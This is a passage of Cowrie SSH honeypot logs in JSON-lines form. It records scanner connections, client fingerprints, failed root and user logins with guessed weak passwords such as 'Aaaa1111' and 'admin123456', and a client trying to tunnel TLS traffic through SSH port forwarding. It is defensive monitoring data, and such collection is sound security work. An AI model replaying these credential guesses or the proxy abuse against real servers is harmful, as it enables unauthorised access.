{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":13114,"dst_ip":"10.17.0.5","dst_port":22,"session":"dda363d35326","protocol":"ssh","message":"New connection: 45.153.34.195:13114 (10.17.0.5:22) [session: dda363d35326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:59.546001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:59.549284Z","src_ip":"45.153.34.195","session":"dda363d35326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:59.630921Z","src_ip":"45.153.34.195","session":"dda363d35326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:49:59.886166Z","src_ip":"45.153.34.195","session":"dda363d35326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:00.969579Z","src_ip":"45.153.34.195","session":"dda363d35326","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:01.973490Z","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.033611Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\xe9\\xb1\\xea9\\xbf\\x97\\xda\\xe9\\x1aO\\x94\\x8e7\\xd0\\x99\\xb9\\xd8]\\xbb\\xed\\xdb\\xef\\xe1sN2\\x0e`\\xc8\\xd9\\xd4 \\xd0\\xed\\n;\\x06;t\\x8e\\xda\\xdc`=\\xb8\\x0b\\xa1\\x9eE\\x17\\xca\\xd2\\xf5\\xba\\xc5\\xbd\\xd5d\\xa3Q\\xe3\\xb3\\x12\\x94\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 _\\x1b\\xe7\\xc9\\x1a\\xd2@\\x8f\\xf4\\xbc\\xb5h)EP\\x0c`t#\\xe8\\xf1xZ\\xca\\x06\\xeco\\xf7\\xd7\\x84^<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\xe9\\xb1\\xea9\\xbf\\x97\\xda\\xe9\\x1aO\\x94\\x8e7\\xd0\\x99\\xb9\\xd8]\\xbb\\xed\\xdb\\xef\\xe1sN2\\x0e`\\xc8\\xd9\\xd4 \\xd0\\xed\\n;\\x06;t\\x8e\\xda\\xdc`=\\xb8\\x0b\\xa1\\x9eE\\x17\\xca\\xd2\\xf5\\xba\\xc5\\xbd\\xd5d\\xa3Q\\xe3\\xb3\\x12\\x94\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 _\\x1b\\xe7\\xc9\\x1a\\xd2@\\x8f\\xf4\\xbc\\xb5h)EP\\x0c`t#\\xe8\\xf1xZ\\xca\\x06\\xeco\\xf7\\xd7\\x84^<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.037107Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.101738Z","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.160721Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xec\\xfb!}\\x85\\x10i\\xf5F\\xf2\\xe0\\xa2\\x86F!\\x81.o\\xf1\\xa9\\x97\\xa8\\xfb\\x98\\x8a\\xb1\\xd0\\x14\"~\\xcdx \\x84\\xa6u_\\xb1\\xb2\\xb5\\x1b\\x9f\\\\\\xdc\\x9cR|\\xa9?)\\x8f\\xbf\\xe8\\xd7\\\\2\\xd1\\x0c\\xf8>~G:\\xd1\\x1f\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 f\\xe1\\x08\\xa7d=\\xc9\\xcf\\xf2\\xed\\xec@Br\\\\*\\xdc`\\x9d\\xc7y9\\xe7\\x8bwUB\\xfd\\xe2d+7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xec\\xfb!}\\x85\\x10i\\xf5F\\xf2\\xe0\\xa2\\x86F!\\x81.o\\xf1\\xa9\\x97\\xa8\\xfb\\x98\\x8a\\xb1\\xd0\\x14\"~\\xcdx \\x84\\xa6u_\\xb1\\xb2\\xb5\\x1b\\x9f\\\\\\xdc\\x9cR|\\xa9?)\\x8f\\xbf\\xe8\\xd7\\\\2\\xd1\\x0c\\xf8>~G:\\xd1\\x1f\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 f\\xe1\\x08\\xa7d=\\xc9\\xcf\\xf2\\xed\\xec@Br\\\\*\\xdc`\\x9d\\xc7y9\\xe7\\x8bwUB\\xfd\\xe2d+7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.164131Z","src_ip":"23.175.50.47","session":"1bf80ee28973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64532,"dst_ip":"10.17.0.5","dst_port":22,"session":"87b466f91e47","protocol":"ssh","message":"New connection: 45.153.34.195:64532 (10.17.0.5:22) [session: 87b466f91e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.385084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.391818Z","src_ip":"45.153.34.195","session":"87b466f91e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.480588Z","src_ip":"45.153.34.195","session":"87b466f91e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:02.730710Z","src_ip":"45.153.34.195","session":"87b466f91e47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":48964,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d9689419a1","protocol":"ssh","message":"New connection: 160.187.180.146:48964 (159.203.135.109:22) [session: 33d9689419a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:03.689121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:03.699133Z","src_ip":"160.187.180.146","session":"33d9689419a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:03.829314Z","src_ip":"45.153.34.195","session":"87b466f91e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:03.910294Z","src_ip":"160.187.180.146","session":"33d9689419a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin123456","message":"login attempt [user/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:04.780747Z","src_ip":"160.187.180.146","session":"33d9689419a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":53142,"dst_ip":"10.17.0.5","dst_port":22,"session":"14b03af5a3f8","protocol":"ssh","message":"New connection: 23.175.50.47:53142 (10.17.0.5:22) [session: 14b03af5a3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:04.948304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:50:04.952843Z","src_ip":"23.175.50.47","session":"14b03af5a3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sh